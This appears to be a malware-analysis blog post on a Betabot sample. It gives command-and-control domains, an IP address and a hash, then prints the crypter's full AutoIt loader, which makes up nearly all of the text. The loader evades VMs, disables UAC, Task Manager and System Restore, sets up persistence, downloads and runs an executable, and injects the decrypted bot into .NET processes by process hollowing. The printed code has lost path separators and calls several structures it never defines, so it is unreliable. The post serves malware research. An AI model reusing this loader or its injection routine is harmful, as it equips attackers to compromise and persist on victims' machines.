Resolved boot.sx to 109.236.80.74
Server: boot.sx
Gate file: /g4sg/order.php
Alternate domain:
illuminati.sx
This betabot is quite interesting due to the bizarre crypter it uses. The crypter starts with a Winrar SFX archive. This dumps it’s contents in the users temp folder and starts the next layer, a vbs script. The vbs script runs a AutoIT script using a bundled AutoIT interpreter which then decrypts the betabot binary and injects it into a .NET system file. The AutoIt script seems to have many function beyond the simple injection so I’ve included it below.
Hosting info: http://whois.domaintools.com/109.236.80.74
Related md5s (Download samples from Malwr.com)
Betabot: c134f10b6e30aa740c2151dad1c3700d
AutoIt Script
#NoTrayIcon If ProcessExists("avastui.exe") Then Sleep(20000) $path = "bgfau" $uniscriptdir = FileGetShortName(@ScriptDir) $uniscriptfullpath = FileGetShortName(@ScriptFullPath) $unicode_startup = FileGetShortName(@StartupDir) $unicode_windows = FileGetShortName(@WindowsDir) $unicode_system = FileGetShortName(@SystemDir) $unicode_temp = FileGetShortName(@TempDir) $win_userprofile = "%temp%" FileSetAttrib($uniscriptdir, "+SHR") Local $delay = IniRead($uniscriptdir & "PInjcjRe.CGN", "delay1", "delay2", "NotFound") If $delay = "delay3" Then delay() Else EndIf Local $mutex = IniRead($uniscriptdir & "PInjcjRe.CGN", "mutex1", "mutex2", "NotFound") If $mutex = "mutex3" Then mutex() Else EndIf Local $startup = IniRead($uniscriptdir & "PInjcjRe.CGN", "start1", "start2", "NotFound") If $startup = "start3" Then startup() Else EndIf Local $antis = IniRead($uniscriptdir & "PInjcjRe.CGN", "antis1", "antis2", "NotFound") If $antis = "antis3" Then antis() Else EndIf Local $fake = IniRead($uniscriptdir & "PInjcjRe.CGN", "fake1", "fake2", "NotFound") If $fake = "fake3" Then fakemessage() Else EndIf Local $botkiller = IniRead($uniscriptdir & "PInjcjRe.CGN", "botkiller1", "botkiller2", "NotFound") If $botkiller = "botkiller3" Then botkiller() Else EndIf Local $downloader = IniRead($uniscriptdir & "PInjcjRe.CGN", "downloader1", "downloader2", "NotFound") If $downloader = "downloader3" Then downloader() Else EndIf Local $uac = IniRead($uniscriptdir & "PInjcjRe.CGN", "uac1", "uac2", "NotFound") If $uac = "uac3" Then disable_uac() Else EndIf Local $systemrestore = IniRead($uniscriptdir & "PInjcjRe.CGN", "systemrestore1", "systemrestore2", "NotFound") If $systemrestore = "systemrestore3" Then disable_syste_restore() Else EndIf Local $antitask = IniRead($uniscriptdir & "PInjcjRe.CGN", "antitask1", "antitask2", "NotFound") If $antitask = "antitask3" Then antitask() Else EndIf Func delay() $counter = 0 While $counter <= 5 Sleep(5000) ShellExecute(@SystemDir & "mshta.exe") $counter = $counter + 1 _rundos("taskkill /IM mshta.exe") WEnd EndFunc Func systemhide() RegWrite("HKCU64SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer", "NoFolderOptions", "REG_DWORD", 1) RegWrite("HKCU64SoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced", "ShowSuperHidden", "REG_DWORD", 0) EndFunc Func fakemessage() $type = IniRead($uniscriptdir & "PInjcjRe.CGN", "messagetype1", "messagetype2", "NotFound") $title = IniRead($uniscriptdir & "PInjcjRe.CGN", "messagetitle1", "messagetitle2", "NotFound") $message = IniRead($uniscriptdir & "PInjcjRe.CGN", "messagetext1", "messagetext2", "NotFound") If FileExists($unicode_temp & "" & $path & "check.txt") Then Else MsgBox($type, $title, $message) FileWrite($unicode_temp & "" & $path & "check.txt", "") EndIf EndFunc Func mutex() $scriptname = "adSR.NDlzD" If UBound(ProcessList($scriptname)) > 2 Then Exit EndFunc Func antitask() $read_antitask = RegRead("HKCU64SoftwareMicrosoftWindowsCurrentVersionPoliciesSystem", "DisableTaskMgr") If NOT ($read_antitask = "1") Then RegWrite("HKCU64SoftwareMicrosoftWindowsCurrentVersionPoliciesSystem", "DisableTaskMgr", "REG_DWORD", "1") EndIf EndFunc Func disable_uac() $read_uac = RegRead("HKLM64SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem", "EnableLUA") If NOT ($read_uac = "0") Then RegWrite("HKLM64SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem", "EnableLUA", "REG_DWORD", "0") EndIf EndFunc Func startup() $buac = _checkelevationenabled() If $buac = 0 Then Else FileCreateShortcut($unicode_temp & "" & $path & "53965.vbs", $unicode_startup & "start.lnk") FileSetAttrib($unicode_startup & "start.lnk", "+SH") EndIf RegWrite("HKCU64SoftwareMicrosoftWindowsCurrentVersionRunOnce", $path, "REG_SZ", $unicode_temp & "" & $path & "53965.vbs") If NOT FileExists($unicode_temp & "" & $path & "53965.vbs") Then Local $bat = FileOpen($unicode_temp & "" & $path & "88684.cmd", 1) $autoit3 = "adSR.NDlzD" FileWrite($bat, "@echo off" & @CRLF & "cd " & $win_userprofile & $path & "" & @CRLF & "start " & $autoit3 & " " & '"' & @ScriptName & '"') FileClose($bat) Local $vbs = FileOpen($unicode_temp & "" & $path & "53965.vbs", 1) FileWrite($vbs, "const Hidden = 0" & @CRLF & "const WaitOnReturn = true" & @CRLF & 'File ="""' & $unicode_temp & "" & $path & "" & '88684.cmd"""' & @CRLF & 'set WshShell = CreateObject("WScript.Shell")' & @CRLF & "WshShell.Run file, Hidden, WaitOnReturn" & @CRLF & "wscript.quit") FileClose($vbs) RegWrite("HKCU64SoftwareMicrosoftWindowsCurrentVersionRunOnce", $path, "REG_SZ", $unicode_temp & "" & $path & "53965.vbs") FileSetAttrib($unicode_temp & "" & $path & "53965.vbs", "+SHR") FileSetAttrib($unicode_temp & "" & $path & "88684.cmd", "+SHR") If FileExists($unicode_startup & "start.lnk") Then FileDelete($unicode_startup & "start.lnk") EndIf Else EndIf EndFunc Func _checkelevationenabled() $read_uac = RegRead("HKLM64SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem", "EnableLUA") If @error Then Return Local $struct = DllStructCreate("BOOL") Local $artn = DllCall("kernel32.dll", "DWORD", "CheckElevationEnabled", "ptr", DllStructGetPtr($struct)) If @error Then Return SetError(@error) EndIf Return SetError($artn[0], 0, DllStructGetData($struct, 1)) EndFunc Func antis() If WinGetText("Program Manager") = "0" Then Exit Else EndIf If ProcessExists("VboxService.exe") Then Exit EndIf If ProcessExists("VMwaretray.exe") Then Exit EndIf EndFunc Func persistence() If NOT ProcessExists("RegSvcs.exe") AND NOT ProcessExists("RegAsm.exe") AND NOT ProcessExists("AppLaunch.exe") AND NOT ProcessExists("twunk_32.exe") AND NOT ProcessExists("newdev.exe") AND NOT ProcessExists("ndadmin.exe") Then $pathtovbs = ($uniscriptdir & "" & "CvYZcYvw.vbs") ShellExecute($pathtovbs) Exit EndIf EndFunc Func downloader() If FileExists($unicode_temp & "" & $path & "dl.txt") Then Else FileWrite($unicode_temp & "" & $path & "dl.txt", "") $random_download_name = Random(10000, 99999, 1) & ".exe" Local $hdownload = InetGet("replace-me-url", $unicode_temp & "" & $random_download_name, 1, 1) Do Sleep(250) Until InetGetInfo($hdownload, 2) Local $nbytes = InetGetInfo($hdownload, 0) InetClose($hdownload) ShellExecute($unicode_temp & "" & $random_download_name) EndIf EndFunc Func bsod() $a = ProcessList() For $i = 1 To UBound($a) - 1 ProcessClose($a[$i][0]) Next Exit EndFunc Func botkiller() RegDelete("HKCU64SOFTWAREMicrosoftWindowsCurrentVersionRun") RegWrite("HKCU64SOFTWAREMicrosoftWindowsCurrentVersionRun") RegDelete("HKLM64SOFTWAREMicrosoftWindowsCurrentVersionRun") RegWrite("HKLM64SOFTWAREMicrosoftWindowsCurrentVersionRun") FileDelete(@StartupDir & "*.*") EndFunc Func disable_syste_restore() If FileExists($uniscriptdir & "check.txt") Then Else RegDelete("HKLM64SoftwareMicrosoftWindows NTCurrentVersionSPPClients") FileWrite($uniscriptdir & "check.txt", "") EndIf EndFunc Func _rundos($scommand) Local $nresult = RunWait(@ComSpec & " /C " & $scommand, "", @SW_HIDE) Return SetError(@error, @extended, $nresult) EndFunc Global Const $prov_rsa_full = 1 Global Const $prov_rsa_aes = 24 Global Const $crypt_verifycontext = -268435456 Global Const $hp_hashsize = 4 Global Const $hp_hashval = 2 Global Const $crypt_exportable = 1 Global Const $crypt_userdata = 1 Global Const $calg_md2 = 32769 Global Const $calg_md4 = 32770 Global Const $calg_md5 = 32771 Global Const $calg_sha1 = 32772 Global Const $calg_3des = 26115 Global Const $calg_aes_128 = 26126 Global Const $calg_aes_192 = 26127 Global Const $calg_aes_256 = 26128 Global Const $calg_des = 26113 Global Const $calg_rc2 = 26114 Global Const $calg_rc4 = 26625 Global Const $calg_userkey = 0 Global $__g_acryptinternaldata[3] Func _crypt_encryptdata($vdata, $vcryptkey, $ialg_id, $ffinal = True) Local $hbuff Local $ierror Local $vreturn Local $reqbuffsize Local $aret _crypt_startup() Do If $ialg_id <> $calg_userkey Then $vcryptkey = _crypt_derivekey($vcryptkey, $ialg_id) If @error Then $ierror = 1 $vreturn = -1 ExitLoop EndIf EndIf $aret = DllCall(__crypt_dllhandle(), "bool", "CryptEncrypt", "handle", $vcryptkey, "handle", 0, "bool", $ffinal, "dword", 0, "ptr", 0, "dword*", BinaryLen($vdata), "dword", 0) If @error OR NOT $aret[0] Then $ierror = 2 $vreturn = -1 ExitLoop EndIf $reqbuffsize = $aret[6] $hbuff = DllStructCreate("byte[" & $reqbuffsize & "]") DllStructSetData($hbuff, 1, $vdata) $aret = DllCall(__crypt_dllhandle(), "bool", "CryptEncrypt", "handle", $vcryptkey, "handle", 0, "bool", $ffinal, "dword", 0, "struct*", $hbuff, "dword*", BinaryLen($vdata), "dword", DllStructGetSize($hbuff)) If @error OR NOT $aret[0] Then $ierror = 3 $vreturn = -1 ExitLoop EndIf $ierror = 0 $vreturn = DllStructGetData($hbuff, 1) Until True Return $vreturn EndFunc Func _crypt_decryptdata($vdata, $vcryptkey, $ialg_id, $ffinal = True) Local $hbuff Local $ierror Local $vreturn Local $htempstruct Local $iplaintextsize Local $aret _crypt_startup() Do If $ialg_id <> $calg_userkey Then $vcryptkey = _crypt_derivekey($vcryptkey, $ialg_id) If @error Then $ierror = 1 $vreturn = -1 ExitLoop EndIf EndIf $hbuff = DllStructCreate("byte[" & BinaryLen($vdata) + 1000 & "]") DllStructSetData($hbuff, 1, $vdata) $aret = DllCall(__crypt_dllhandle(), "bool", "CryptDecrypt", "handle", $vcryptkey, "handle", 0, "bool", $ffinal, "dword", 0, "struct*", $hbuff, "dword*", BinaryLen($vdata)) If @error OR NOT $aret[0] Then $ierror = 2 $vreturn = -1 ExitLoop EndIf $iplaintextsize = $aret[6] $htempstruct = DllStructCreate("byte[" & $iplaintextsize & "]", DllStructGetPtr($hbuff)) $ierror = 0 $vreturn = DllStructGetData($htempstruct, 1) Until True Return $vreturn EndFunc Func _crypt_startup() If __crypt_refcount() = 0 Then Local $hadvapi32 = DllOpen("Advapi32.dll") If @error Then Return SetError(1, 0, False) __crypt_dllhandleset($hadvapi32) Local $aret Local $iproviderid = $prov_rsa_aes If @OSVersion = "WIN_2000" Then $iproviderid = $prov_rsa_full $aret = DllCall(__crypt_dllhandle(), "bool", "CryptAcquireContext", "handle*", 0, "ptr", 0, "ptr", 0, "dword", $iproviderid, "dword", $crypt_verifycontext) If @error OR NOT $aret[0] Then DllClose(__crypt_dllhandle()) Return SetError(2, 0, False) Else __crypt_contextset($aret[1]) EndIf EndIf __crypt_refcountinc() Return True EndFunc Func _crypt_derivekey($vpassword, $ialg_id, $ihash_alg_id = $calg_md5) Local $aret Local $hcrypthash Local $hbuff Local $ierror Local $vreturn _crypt_startup() Do $aret = DllCall(__crypt_dllhandle(), "bool", "CryptCreateHash", "handle", __crypt_context(), "uint", $ihash_alg_id, "ptr", 0, "dword", 0, "handle*", 0) If @error OR NOT $aret[0] Then $ierror = 1 $vreturn = -1 ExitLoop EndIf $hcrypthash = $aret[5] $hbuff = DllStructCreate("byte[" & BinaryLen($vpassword) & "]") DllStructSetData($hbuff, 1, $vpassword) $aret = DllCall(__crypt_dllhandle(), "bool", "CryptHashData", "handle", $hcrypthash, "struct*", $hbuff, "dword", DllStructGetSize($hbuff), "dword", $crypt_userdata) If @error OR NOT $aret[0] Then $ierror = 2 $vreturn = -1 ExitLoop EndIf $aret = DllCall(__crypt_dllhandle(), "bool", "CryptDeriveKey", "handle", __crypt_context(), "uint", $ialg_id, "handle", $hcrypthash, "dword", $crypt_exportable, "handle*", 0) If @error OR NOT $aret[0] Then $ierror = 3 $vreturn = -1 ExitLoop EndIf $ierror = 0 $vreturn = $aret[5] Until True If $hcrypthash <> 0 Then DllCall(__crypt_dllhandle(), "bool", "CryptDestroyHash", "handle", $hcrypthash) Return SetError($ierror, 0, $vreturn) EndFunc Func __crypt_contextset($hcryptcontext) $__g_acryptinternaldata[2] = $hcryptcontext EndFunc Func __crypt_context() Return $__g_acryptinternaldata[2] EndFunc Func __crypt_dllhandleset($hadvapi32) $__g_acryptinternaldata[1] = $hadvapi32 EndFunc Func __crypt_dllhandle() Return $__g_acryptinternaldata[1] EndFunc Func __crypt_refcountdec() If $__g_acryptinternaldata[0] > 0 Then $__g_acryptinternaldata[0] -= 1 EndFunc Func __crypt_refcountinc() $__g_acryptinternaldata[0] += 1 EndFunc Func __crypt_refcount() Return $__g_acryptinternaldata[0] EndFunc submain() Func submain() $skey = IniRead($uniscriptdir & "PInjcjRe.CGN", "4828224", "4828224", "NotFound") $sapppath1 = FileGetShortName(@ScriptDir & "EeMiIjNOJxW.OEA") $sapppath = FileRead(FileOpen($sapppath1, 16)) $sarquive = _crypt_decryptdata($sapppath, $skey, $calg_rc2) _runpe($sarquive) EndFunc Func info($getfiledata, $stringtoget) Return StringTrimLeft($getfiledata, StringInStr($getfiledata, $stringtoget) - 1 + StringLen($stringtoget)) EndFunc Func _runpe($bbinaryimage, $scommandline = "") #Region 1. DETERMINE INTERPRETER TYPE Local $fautoitx64 = @AutoItX64 #Region 2. PREDPROCESSING PASSED Local $bbinary = Binary($bbinaryimage) Local $tbinary = DllStructCreate("BYTE[" & BinaryLen($bbinary) & "]") DllStructSetData($tbinary, 1, $bbinary) Local $ppointer = DllStructGetPtr($tbinary) #Region 3. CREATING NEW PROCESS $inject_net2_regsvc = ($unicode_windows & "Microsoft.NETFrameworkv2.0.50727RegSvcs.exe") $inject_net4_regsvc = ($unicode_windows & "Microsoft.NETFrameworkv4.0.30319RegSvcs.exe") $inject_net2_regasm = ($unicode_windows & "Microsoft.NETFrameworkv2.0.50727RegAsm.exe") $inject_net4_regasm = ($unicode_windows & "Microsoft.NETFrameworkv4.0.30319RegAsm.exe") $inject_net2_applaunch = ($unicode_windows & "Microsoft.NETFrameworkv2.0.50727AppLaunch.exe") $inject_net4_applaunch = ($unicode_windows & "Microsoft.NETFrameworkv4.0.30319AppLaunch.exe") $inject_newdev = ($unicode_system & "newdev.exe") $inject_twunk_32 = ($unicode_windows & "twunk_32.exe") $inject_ndadmin = ($unicode_system & "ndadmin.exe") If FileExists($inject_net4_regsvc) Then Local $acall = DllCall("KERNEL32.DLL", "BOOL", "CreateProcessW", "WSTR", $inject_net4_regsvc, "WSTR", $scommandline, "PTR", 0, "PTR", 0, "INT", 0, "DWORD", 4, "PTR", 0, "PTR", 0, "PTR", DllStructGetPtr($tstartupinfo), "PTR", DllStructGetPtr($tprocess_information)) ElseIf FileExists($inject_net2_regsvc) Then Local $acall = DllCall("KERNEL32.DLL", "BOOL", "CreateProcessW", "WSTR", $inject_net2_regsvc, "WSTR", $scommandline, "PTR", 0, "PTR", 0, "INT", 0, "DWORD", 4, "PTR", 0, "PTR", 0, "PTR", DllStructGetPtr($tstartupinfo), "PTR", DllStructGetPtr($tprocess_information)) ElseIf FileExists($inject_net4_regasm) Then Local $acall = DllCall("KERNEL32.DLL", "BOOL", "CreateProcessW", "WSTR", $inject_net4_regasm, "WSTR", $scommandline, "PTR", 0, "PTR", 0, "INT", 0, "DWORD", 4, "PTR", 0, "PTR", 0, "PTR", DllStructGetPtr($tstartupinfo), "PTR", DllStructGetPtr($tprocess_information)) ElseIf FileExists($inject_net2_regasm) Then Local $acall = DllCall("KERNEL32.DLL", "BOOL", "CreateProcessW", "WSTR", $inject_net2_regasm, "WSTR", $scommandline, "PTR", 0, "PTR", 0, "INT", 0, "DWORD", 4, "PTR", 0, "PTR", 0, "PTR", DllStructGetPtr($tstartupinfo), "PTR", DllStructGetPtr($tprocess_information)) ElseIf FileExists($inject_net4_applaunch) Then Local $acall = DllCall("KERNEL32.DLL", "BOOL", "CreateProcessW", "WSTR", $inject_net4_applaunch, "WSTR", $scommandline, "PTR", 0, "PTR", 0, "INT", 0, "DWORD", 4, "PTR", 0, "PTR", 0, "PTR", DllStructGetPtr($tstartupinfo), "PTR", DllStructGetPtr($tprocess_information)) ElseIf FileExists($inject_net2_applaunch) Then Local $acall = DllCall("KERNEL32.DLL", "BOOL", "CreateProcessW", "WSTR", $inject_net2_applaunch, "WSTR", $scommandline, "PTR", 0, "PTR", 0, "INT", 0, "DWORD", 4, "PTR", 0, "PTR", 0, "PTR", DllStructGetPtr($tstartupinfo), "PTR", DllStructGetPtr($tprocess_information)) ElseIf FileExists($inject_newdev) Then Local $acall = DllCall("KERNEL32.DLL", "BOOL", "CreateProcessW", "WSTR", $inject_newdev, "WSTR", $scommandline, "PTR", 0, "PTR", 0, "INT", 0, "DWORD", 4, "PTR", 0, "PTR", 0, "PTR", DllStructGetPtr($tstartupinfo), "PTR", DllStructGetPtr($tprocess_information)) ElseIf FileExists($inject_twunk_32) Then Local $acall = DllCall("KERNEL32.DLL", "BOOL", "CreateProcessW", "WSTR", $inject_twunk_32, "WSTR", $scommandline, "PTR", 0, "PTR", 0, "INT", 0, "DWORD", 4, "PTR", 0, "PTR", 0, "PTR", DllStructGetPtr($tstartupinfo), "PTR", DllStructGetPtr($tprocess_information)) Else Local $acall = DllCall("KERNEL32.DLL", "BOOL", "CreateProcessW", "WSTR", $inject_ndadmin, "WSTR", $scommandline, "PTR", 0, "PTR", 0, "INT", 0, "DWORD", 4, "PTR", 0, "PTR", 0, "PTR", DllStructGetPtr($tstartupinfo), "PTR", DllStructGetPtr($tprocess_information)) EndIf If @error OR NOT $acall[0] Then Return SetError(1, 0, 0) Local $hprocess = DllStructGetData($tprocess_information, "PROCESS") Local $hthread = DllStructGetData($tprocess_information, "THREAD") If $fautoitx64 AND __runpe_iswow64process($hprocess) Then DllCall("KERNEL32.DLL", "BOOL", "TerminateProcess", "HANDLE", $hprocess, "DWORD", 0) Return SetError(2, 0, 0) EndIf #Region 4. FILL CONTEXT STRUCTURE Local $irunflag, $tcontext If $fautoitx64 Then If @OSArch = "X64" Then $irunflag = 2 Else $irunflag = 3 DllCall("KERNEL32.DLL", "BOOL", "TerminateProcess", "HANDLE", $hprocess, "DWORD", 0) Return SetError(102, 0, 0) EndIf Else $irunflag = 1 EndIf Local $context_full Switch $irunflag Case 1 $context_full = 65543 Case 2 $context_full = 1048583 Case 3 $context_full = 524327 EndSwitch DllStructSetData($tcontext, "CONTEXTFLAGS", $context_full) $acall = DllCall("KERNEL32.DLL", "BOOL", "GetThreadContext", "HANDLE", $hthread, "PTR", DllStructGetPtr($tcontext)) If @error OR NOT $acall[0] Then DllCall("KERNEL32.DLL", "BOOL", "TerminateProcess", "HANDLE", $hprocess, "DWORD", 0) Return SetError(3, 0, 0) EndIf Local $ppeb Switch $irunflag Case 1 $ppeb = DllStructGetData($tcontext, "EBX") Case 2 $ppeb = DllStructGetData($tcontext, "RDX") Case 3 EndSwitch #Region 5. READ PE-FORMAT Local $pheaders_new = $ppointer $ppointer += DllStructGetData($timage_dos_header, "ADDRESSOFNEWEXEHEADER") Local $smagic = DllStructGetData($timage_dos_header, "MAGIC") If NOT ($smagic == "MZ") Then DllCall("KERNEL32.DLL", "BOOL", "TerminateProcess", "HANDLE", $hprocess, "DWORD", 0) Return SetError(4, 0, 0) EndIf Local $timage_nt_signature = DllStructCreate("DWORD SIGNATURE", $ppointer) $ppointer += 4 If DllStructGetData($timage_nt_signature, "SIGNATURE") <> 17744 Then DllCall("KERNEL32.DLL", "BOOL", "TerminateProcess", "HANDLE", $hprocess, "DWORD", 0) Return SetError(5, 0, 0) EndIf Local $inumberofsections = DllStructGetData($timage_file_header, "NUMBEROFSECTIONS") $ppointer += 20 Local $imagic = DllStructGetData($tmagic, 1) Local $timage_optional_header If $imagic = 267 Then If $fautoitx64 Then DllCall("KERNEL32.DLL", "BOOL", "TerminateProcess", "HANDLE", $hprocess, "DWORD", 0) Return SetError(6, 0, 0) EndIf $ppointer += 96 ElseIf $imagic = 523 Then If NOT $fautoitx64 Then DllCall("KERNEL32.DLL", "BOOL", "TerminateProcess", "HANDLE", $hprocess, "DWORD", 0) Return SetError(6, 0, 0) EndIf $ppointer += 112 Else DllCall("KERNEL32.DLL", "BOOL", "TerminateProcess", "HANDLE", $hprocess, "DWORD", 0) Return SetError(6, 0, 0) EndIf Local $ientrypointnew = DllStructGetData($timage_optional_header, "ADDRESSOFENTRYPOINT") Local $ioptionalheadersizeofheadersnew = DllStructGetData($timage_optional_header, "SIZEOFHEADERS") Local $poptionalheaderimagebasenew = DllStructGetData($timage_optional_header, "IMAGEBASE") Local $ioptionalheadersizeofimagenew = DllStructGetData($timage_optional_header, "SIZEOFIMAGE") $ppointer += 8 $ppointer += 8 $ppointer += 24 Local $paddressnewbasereloc = DllStructGetData($timage_directory_entry_basereloc, "VIRTUALADDRESS") Local $isizebasereloc = DllStructGetData($timage_directory_entry_basereloc, "SIZE") Local $frelocatable If $paddressnewbasereloc AND $isizebasereloc Then $frelocatable = True If NOT $frelocatable Then ConsoleWrite("!!!NOT RELOCATABLE MODULE. I WILL TRY BUT THIS MAY NOT WORK!!!" & @CRLF) $ppointer += 88 #Region 6. ALLOCATE 'NEW' MEMORY SPACE Local $frelocate Local $pzeropoint If $frelocatable Then $pzeropoint = __runpe_allocateexespace($hprocess, $ioptionalheadersizeofimagenew) If @error Then $pzeropoint = __runpe_allocateexespaceataddress($hprocess, $poptionalheaderimagebasenew, $ioptionalheadersizeofimagenew) If @error Then __runpe_unmapviewofsection($hprocess, $poptionalheaderimagebasenew) $pzeropoint = __runpe_allocateexespaceataddress($hprocess, $poptionalheaderimagebasenew, $ioptionalheadersizeofimagenew) If @error Then DllCall("KERNEL32.DLL", "BOOL", "TerminateProcess", "HANDLE", $hprocess, "DWORD", 0) Return SetError(101, 1, 0) EndIf EndIf EndIf $frelocate = True Else $pzeropoint = __runpe_allocateexespaceataddress($hprocess, $poptionalheaderimagebasenew, $ioptionalheadersizeofimagenew) If @error Then __runpe_unmapviewofsection($hprocess, $poptionalheaderimagebasenew) $pzeropoint = __runpe_allocateexespaceataddress($hprocess, $poptionalheaderimagebasenew, $ioptionalheadersizeofimagenew) If @error Then DllCall("KERNEL32.DLL", "BOOL", "TerminateProcess", "HANDLE", $hprocess, "DWORD", 0) Return SetError(101, 0, 0) EndIf EndIf EndIf DllStructSetData($timage_optional_header, "IMAGEBASE", $pzeropoint) #Region 7. CONSTRUCT THE NEW MODULE Local $tmodule = DllStructCreate("BYTE[" & $ioptionalheadersizeofimagenew & "]") Local $pmodule = DllStructGetPtr($tmodule) Local $theaders = DllStructCreate("BYTE[" & $ioptionalheadersizeofheadersnew & "]", $pheaders_new) DllStructSetData($tmodule, 1, DllStructGetData($theaders, 1)) Local $timage_section_header Local $isizeofrawdata, $ppointertorawdata Local $ivirtualaddress, $ivirtualsize Local $trelocraw For $i = 1 To $inumberofsections $isizeofrawdata = DllStructGetData($timage_section_header, "SIZEOFRAWDATA") $ppointertorawdata = $pheaders_new + DllStructGetData($timage_section_header, "POINTERTORAWDATA") $ivirtualaddress = DllStructGetData($timage_section_header, "VIRTUALADDRESS") $ivirtualsize = DllStructGetData($timage_section_header, "UNIONOFVIRTUALSIZEANDPHYSICALADDRESS") If $ivirtualsize AND $ivirtualsize < $isizeofrawdata Then $isizeofrawdata = $ivirtualsize If $isizeofrawdata Then DllStructSetData(DllStructCreate("BYTE[" & $isizeofrawdata & "]", $pmodule + $ivirtualaddress), 1, DllStructGetData(DllStructCreate("BYTE[" & $isizeofrawdata & "]", $ppointertorawdata), 1)) EndIf If $frelocate Then If $ivirtualaddress <= $paddressnewbasereloc AND $ivirtualaddress + $isizeofrawdata > $paddressnewbasereloc Then $trelocraw = DllStructCreate("BYTE[" & $isizebasereloc & "]", $ppointertorawdata + ($paddressnewbasereloc - $ivirtualaddress)) EndIf EndIf $ppointer += 40 Next If $frelocate Then __runpe_fixreloc($pmodule, $trelocraw, $pzeropoint, $poptionalheaderimagebasenew, $imagic = 523) $acall = DllCall("KERNEL32.DLL", "BOOL", "WriteProcessMemory", "HANDLE", $hprocess, "PTR", $pzeropoint, "PTR", $pmodule, "DWORD_PTR", $ioptionalheadersizeofimagenew, "DWORD_PTR*", 0) If @error OR NOT $acall[0] Then DllCall("KERNEL32.DLL", "BOOL", "TerminateProcess", "HANDLE", $hprocess, "DWORD", 0) Return SetError(7, 0, 0) EndIf #Region 8. PEB IMAGEBASEADDRESS MANIPULATION $acall = DllCall("KERNEL32.DLL", "BOOL", "ReadProcessMemory", "PTR", $hprocess, "PTR", $ppeb, "PTR", DllStructGetPtr($tpeb), "DWORD_PTR", DllStructGetSize($tpeb), "DWORD_PTR*", 0) If @error OR NOT $acall[0] Then DllCall("KERNEL32.DLL", "BOOL", "TerminateProcess", "HANDLE", $hprocess, "DWORD", 0) Return SetError(8, 0, 0) EndIf DllStructSetData($tpeb, "IMAGEBASEADDRESS", $pzeropoint) $acall = DllCall("KERNEL32.DLL", "BOOL", "WriteProcessMemory", "HANDLE", $hprocess, "PTR", $ppeb, "PTR", DllStructGetPtr($tpeb), "DWORD_PTR", DllStructGetSize($tpeb), "DWORD_PTR*", 0) If @error OR NOT $acall[0] Then DllCall("KERNEL32.DLL", "BOOL", "TerminateProcess", "HANDLE", $hprocess, "DWORD", 0) Return SetError(9, 0, 0) EndIf #Region 9. NEW ENTRY POINT Switch $irunflag Case 1 DllStructSetData($tcontext, "EAX", $pzeropoint + $ientrypointnew) Case 2 DllStructSetData($tcontext, "RCX", $pzeropoint + $ientrypointnew) Case 3 EndSwitch #Region 10. SET NEW CONTEXT $acall = DllCall("KERNEL32.DLL", "BOOL", "SetThreadContext", "HANDLE", $hthread, "PTR", DllStructGetPtr($tcontext)) If @error OR NOT $acall[0] Then DllCall("KERNEL32.DLL", "BOOL", "TerminateProcess", "HANDLE", $hprocess, "DWORD", 0) Return SetError(10, 0, 0) EndIf #Region 11. RESUME THREAD $acall = DllCall("KERNEL32.DLL", "DWORD", "ResumeThread", "HANDLE", $hthread) If @error OR $acall[0] = -1 Then DllCall("KERNEL32.DLL", "BOOL", "TerminateProcess", "HANDLE", $hprocess, "DWORD", 0) Return SetError(11, 0, 0) EndIf #Region 12. CLOSE OPEN HANDLES AND RETURN PID DllCall("KERNEL32.DLL", "BOOL", "CloseHandle", "HANDLE", $hprocess) DllCall("KERNEL32.DLL", "BOOL", "CloseHandle", "HANDLE", $hthread) Return DllStructGetData($tprocess_information, "PROCESSID") EndFunc Func __runpe_fixreloc($pmodule, $tdata, $paddressnew, $paddressold, $fimagex64) Local $idelta = $paddressnew - $paddressold Local $isize = DllStructGetSize($tdata) Local $pdata = DllStructGetPtr($tdata) Local $timage_base_relocation, $irelativemove Local $ivirtualaddress, $isizeofblock, $inumberofentries Local $tenries, $idata, $taddress Local $iflag = 3 + 7 * $fimagex64 While $irelativemove < $isize $ivirtualaddress = DllStructGetData($timage_base_relocation, "VIRTUALADDRESS") $isizeofblock = DllStructGetData($timage_base_relocation, "SIZEOFBLOCK") $inumberofentries = ($isizeofblock - 8) / 2 $tenries = DllStructCreate("WORD[" & $inumberofentries & "]", DllStructGetPtr($timage_base_relocation) + 8) For $i = 1 To $inumberofentries $idata = DllStructGetData($tenries, 1, $i) If BitShift($idata, 12) = $iflag Then $taddress = DllStructCreate("PTR", $pmodule + $ivirtualaddress + BitAND($idata, 4095)) DllStructSetData($taddress, 1, DllStructGetData($taddress, 1) + $idelta) EndIf Next $irelativemove += $isizeofblock WEnd Return 1 EndFunc Func __runpe_allocateexespaceataddress($hprocess, $paddress, $isize) Local $acall = DllCall("KERNEL32.DLL", "PTR", "VirtualAllocEx", "HANDLE", $hprocess, "PTR", $paddress, "DWORD_PTR", $isize, "DWORD", 4096, "DWORD", 64) If @error OR NOT $acall[0] Then $acall = DllCall("KERNEL32.DLL", "PTR", "VirtualAllocEx", "HANDLE", $hprocess, "PTR", $paddress, "DWORD_PTR", $isize, "DWORD", 12288, "DWORD", 64) If @error OR NOT $acall[0] Then Return SetError(1, 0, 0) EndIf Return $acall[0] EndFunc Func __runpe_allocateexespace($hprocess, $isize) Local $acall = DllCall("KERNEL32.DLL", "PTR", "VirtualAllocEx", "HANDLE", $hprocess, "PTR", 0, "DWORD_PTR", $isize, "DWORD", 12288, "DWORD", 64) If @error OR NOT $acall[0] Then Return SetError(1, 0, 0) Return $acall[0] EndFunc Func __runpe_unmapviewofsection($hprocess, $paddress) DllCall("NTDLL.DLL", "INT", "NtUnmapViewOfSection", "PTR", $hprocess, "PTR", $paddress) If @error Then Return SetError(1, 0, 0) Return 1 EndFunc Func __runpe_iswow64process($hprocess) Local $acall = DllCall("KERNEL32.DLL", "BOOL", "IsWow64Process", "HANDLE", $hprocess, "BOOL*", 0) If @error OR NOT $acall[0] Then Return SetError(1, 0, 0) Return $acall[2] EndFunc Global Const $error_no_token = 1008 Global Const $se_privilege_enabled_by_default = 1 Global Const $se_privilege_enabled = 2 Global Const $se_privilege_removed = 4 Global Enum $tokenprimary = 1, $tokenimpersonation Global Enum $securityanonymous = 0, $securityidentification, $securityimpersonation, $securitydelegation Global Const $token_assign_primary = 1 Global Const $token_duplicate = 2 